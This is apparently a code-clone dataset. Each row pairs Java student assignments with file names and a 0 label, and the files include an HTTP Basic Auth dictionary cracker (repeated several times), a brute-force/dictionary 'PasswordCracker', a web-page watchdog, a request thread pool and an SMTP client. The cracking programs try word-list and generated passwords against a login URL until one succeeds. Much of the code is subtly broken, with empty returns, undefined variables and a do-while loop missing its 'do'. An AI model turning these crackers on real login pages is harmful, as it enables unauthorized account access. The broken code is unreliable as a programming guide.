RunnableHttpRequest client = new RunnableHttpRequest(
getURL(),
getRequestCount(),
"Thread" + System.currentTimeMillis(),
getThreadGroup(),
this
);
h.put(client, 0);
client.a();
}
}
public static void main (String[] args)
{
HttpRequestThreadPool pool = new HttpRequestThreadPool();
pool.setURL(args[0]);
pool.setPoolSize(Integer.parseInt(args[1]));
pool.setRequestCount(Integer.parseInt(args[2]));
pool.initMap();
while (!pool.allThreadsFinished())
{
try
{
Thread.currentThread().sleep(1000);
}
catch (InterruptedException e)
{
e.printStackTrace();
}
}
System.out.println(pool.getMap());
}
boolean allThreadsFinished()
{
boolean finished = true;
Enumeration enuma = getMap().keys();
while (enuma.hasMoreElements())
{
RunnableHttpRequest thread = ((RunnableHttpRequest)(enuma.nextElement()));
finished = finished &&
thread.getFinished().booleanValue();
}
return finished;
}
synchronized public Hashtable getMap()
{
return ;
}
synchronized public void setMap(Hashtable h)
{
this.h = h;
}
public int getPoolSize()
{
return poolSize;
}
public void setPoolSize(int i)
{
poolSize = i;
}
public ThreadGroup getThreadGroup()
{
return threadGroup;
}
public void setThreadGroup(ThreadGroup group)
{
threadGroup = group;
}
public int getRequestCount()
{
return requestCount;
}
public void setRequestCount(int i)
{
requestCount = i;
}
public String getURL()
{
return URL;
}
public void setURL(String string)
{
URL = string;
}
synchronized void setThreadAverageTime(RunnableHttpRequest req, int millis)
{
h.put(req, millis);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
093.java | 161.java | 0 |
import java.io.*;
import java.text.*;
public class TestWatchDog{
class NegativeValueException extends Exception{
public NegativeValueException() { super("It is not Integer." ); }
public NegativeValueException(int n) { super(n + "- Negative Number Input.");}
public NegativeValueException(double n) {super(n +"Not Integer.");}
public NegativeValueException(String s){super("Invalid Data Type Input");}
}
public int getNumber()throws NegativeValueException, NumberFormatException, IOException{
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
int number;
try{
number = Integer.parseInt(stdin.readLine());
}catch (NumberFormatException e){throw e;}
if (number< 0) throw new NegativeValueException(number);
return number;
}
public String getStringInfo()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String strInfo = stdin.readLine();
if ((strInfo.trim().equals(""))||(strInfo.equals("\r")))
throw new Exception( strInfo +" Invalid input!");
return strInfo;
}
public String getAnyKey()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String key= stdin.readLine();
return key;
}
public static void main (String[]args){
String spec = "";
String smtpserver= "";
String mfrom = "";
String mto = "";
int port = 0;
int option =0;
int duration = 0;
int interval = 0;
boolean valid = false;
TestWatchDog twd = new TestWatchDog();
WatchDog wd = new WatchDog();
System.out.println("\n ***********************************************************");
System.out.println(" * *");
System.out.println(" * WatchDog Program ------ SEC Assignment Two *");
System.out.println(" * -------------------------------------------------- *");
System.out.println(" * Author: ID *");
System.out.println(" * -------------------------------------------------- *");
System.out.println(" * *");
System.out.println(" * < Options > *");
System.out.println(" * 1). Uses the default configuration monitor Web Site *");
System.out.println(" * ----- http://www.cs.rmit.edu./students/ *");
System.out.println(" * 2). Monitor the Web Site that user specified *");
System.out.println(" * *");
System.out.println(" ***********************************************************");
while (!valid){
System.out.print("\nPlease Choose option: ");
try{
option = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println("Warning! Invalid Input!"
+ e.getMessage()+" Try again!");}
if ((option ==1)||(option ==2))
valid = true;
else{
System.out.println("Invalid Input. Try it again!");
valid = false;
}
}
if(option == 1){
System.out.println("\n Default Configuration:\n");
System.out.println("--> Monitor WebSite: " + wd.getMonitorURL());
System.out.println("--> Monitor Duration: " + 30*24 + " hours (30 days)");
System.out.println("--> Check Webpage Intervals: " + wd.getInterval()/(1000*60) + " minutes (24 hrs)");
System.out.println("--> SMTP server: " +wd.getSMTPServer() + " Port: " + wd.getPortnumber());
System.out.println("--> MailFrom: " + wd.getMailFrom());
System.out.println("--> MailTo: " + wd.getMailTo());
valid = false;
while (!valid){
System.out.print("\n Press EnterKey :");
try{
String key = twd.getAnyKey();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
wd.FirstRead();
wd.print();
}
valid = false;
if(option == 2){
System.out.println("\n Modified the Configuration:\n");
while (!valid){
System.out.println("> Input the URL of the web <Usage: http://yallara.cs.rmit.edu./~/>: ");
try{
spec = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Input the Monitor Duration <Usage: 24 - (format: hours)>:");
try{
duration = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Input the Interval for Checking Webpage <Usage: 30 - (format: minutes)>:");
try{
interval = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the Mail Server <Usage: mail.rmit.edu.>:");
try{
smtpserver = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the Port Number <Usage: 25 - (default port 25 for smtp server)>:");
try{
port = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the MailFrom <Usage: @cs.rmit.edu.>:");
try{
mfrom = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the MailTo <Usage: @.rmit.edu.>:");
try{
mto = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
System.out.println("\n new Configuration:\n");
System.out.println("-> Monitor WebSite: " + spec);
System.out.println("-> Monitor Duration: " + duration + " hours");
System.out.println("-> Check Webpage Intervals: " + interval + " minutes");
System.out.println("-> SMTP server: " +smtpserver + " Port: " + port);
System.out.println("-> MailFrom: " + mfrom);
System.out.println("-> MailTo: " + mto);
valid = false;
while (!valid){
System.out.print("\n Press EnterKey :");
try{
String key = twd.getAnyKey();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
wd.setMonitorURL(spec);
wd.setMonitorDuration(duration);
wd.setMonitorInterval(interval);
wd.setSMTPServer(smtpserver);
wd.setSMTPPort(port);
wd.setMailFrom(mfrom);
wd.setMailTo(mto);
wd.FirstRead();
wd.print();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
080.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class PasswordCracker {
private static final char car= 'a';
private static final char END = 'z' + 1;
public static final int BRUTEFORCE = 0;
public static final int DICTIONARY = 1;
String urlName = null;
String user = null;
String filename = null;
int method;
int attempt_counter;
public static void main(String[] args) {
PasswordCracker cracker = null;
if ((args.length == 3) && (args[2].equalsIgnoreCase("BRUTEFORCE"))) {
cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null);
}
else if ((args.length == 4) && (args[2].equalsIgnoreCase("DICTIONARY"))) {
cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]);
}
else {
System.out.println("Syntax: java PasswordCracker <username> <url> BRUTEFORCE ");
System.out.println(" java PasswordCracker <username> <url> DICTIONARY <sourcefile> ");
System.exit(1);
}
cracker.run();
}
public PasswordCracker(String user, String url, int method, String file) {
this.user = user;
this.urlName = url;
this.filename = file;
this.method = method;
}
public boolean run() {
String password;
s = 0;
end = 0;
try {
attempt_counter = 0;
URL target = new URL(urlName);
switch (this.method) {
case BRUTEFORCE:
s = System.currentTimeMillis();
for (char i = 0; i < END; i++) {
for (char j = 0; j < END; j++) {
for (char k = 0; k < END; k++) {
password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
if (performConnection(target, user, password)) {
end = System.currentTimeMillis();
System.out.println("URL: \t\t" + target +
"\nUser: \t\t"+ user + "\nPassword: \t" + password);
System.out.println("Attempts: \t" + attempt_counter
+ "\nTotal time: \t" + ((end - a) / 1000.0f) + " seconds");
return true;
}
}
}
}
for (char i = 0; i < END; i++) {
for (char j = 0; j < END; j++) {
for (char k = 0; k < END; k++) {
password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
if (isValidPassword(target, password)) {
end = System.currentTimeMillis();
System.out.println("Attempts: \t" + attempt_counter
+ "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
return true;
}
}
}
}
break;
case DICTIONARY:
try {
BufferedReader buf = new BufferedReader(new FileReader(filename));
s = System.currentTimeMillis();
{
password = buf.readLine();
if (password.length() == 3) {
if (performConnection(target, user, password)) {
end = System.currentTimeMillis();
System.out.println("URL: \t\t" + target +
"\nUser: \t\t"+ user + "\nPassword: \t" + password);
System.out.println("Attempts: \t" + attempt_counter
+ "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
return true;
}
}
}
while (password != null);
}
catch (FileNotFoundException e) {
System.out.println("File \"" + filename + "\" not found");
}
catch (IOException ioe) {
System.out.println("IO Error " + ioe);
}
break;
default:
return false;
}
}
catch (Exception e) {
System.out.println("ERROR: " + e.getMessage());
}
end = System.currentTimeMillis();
System.out.println("Attempts: \t" + attempt_counter +
"\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
return true;
}
private boolean isValidPassword(URL target, String password) throws Exception {
char letter[] = new char[3];
String generated = null;
letter[0] = password.charAt(0);
for (int i = 0; i < 2; i++) {
letter[1] = password.charAt(1);
for (int j = 0; j < 2; j++) {
letter[2] = password.charAt(2);
for (int k = 0; k < 2; k++) {
generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);
if ((Character.isUpperCase(letter[0]) == true) ||
(Character.isUpperCase(letter[1]) == true) ||
(Character.isUpperCase(letter[2]) == true)) {
if (performConnection(target, user, generated) == true) {
System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user +
"\nPassword: \t" + generated);
return true;
}
}
letter[2] = Character.toUpperCase(letter[2]);
}
letter[1] = Character.toUpperCase(letter[1]);
}
letter[0] = Character.toUpperCase(letter[0]);
}
return false;
}
private boolean performConnection(URL target, String username, String password) throws Exception {
HttpURLConnection connection = null;
try {
attempt_counter++;
connection = (HttpURLConnection) target.openConnection();
connection.setRequestProperty("Authorization", " " + Base64.encode(username + ":" + password));
switch (connection.getResponseCode() / 100) {
case 2:
System.out.println("Connected successfully");
return true;
default:
return false;
}
}
catch (Exception e) {
throw new Exception("Failed connect " + target);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
179.java | 161.java | 0 | import java.net.*;
import java.io.*;
public class EmailClient
{
private String sender, recipient, hostName;
public EmailClient(String nSender, String nRecipient, String nHost)
{
sender = nSender;
recipient = nRecipient;
hostName = nHost;
}
public void sendMail(String subject, String message)
{
try
{
Socket s1=null;
InputStream is = null;
OutputStream os = null;
DataOutputStream = null;
s1 = new Socket(hostName,25);
is = s1.getInputStream();
os = s1.getOutputStream();
bd = new DataOutputStream(os);
BufferedReader response = new BufferedReader(new InputStreamReader(is));
bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");
waitForSuccessResponse(response);
bd.writeBytes("MAIL FROM:"+sender+"\n");
waitForSuccessResponse(response);
bd.writeBytes("RCPT :"+recipient+"\n");
waitForSuccessResponse(response);
bd.writeBytes("data"+"\n");
bd.writeBytes("Subject:"+subject+"\n");
bd.writeBytes(message+"\n.\n");
waitForSuccessResponse(response);
}
catch (UnknownHostException badUrl)
{
System.out.println("Host unknown.");
}
catch (EOFException eof)
{
System.out.println("<EOF>");
}
catch (Exception e)
{
System.out.println("got exception: "+e);
}
}
private static void waitForSuccessResponse(BufferedReader response) throws IOException
{
String rsp;
boolean r250 = false;
while( ! r250 )
{
rsp = response.readLine().trim();
if(rsp.startsWith("250"))
r250 = true;
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |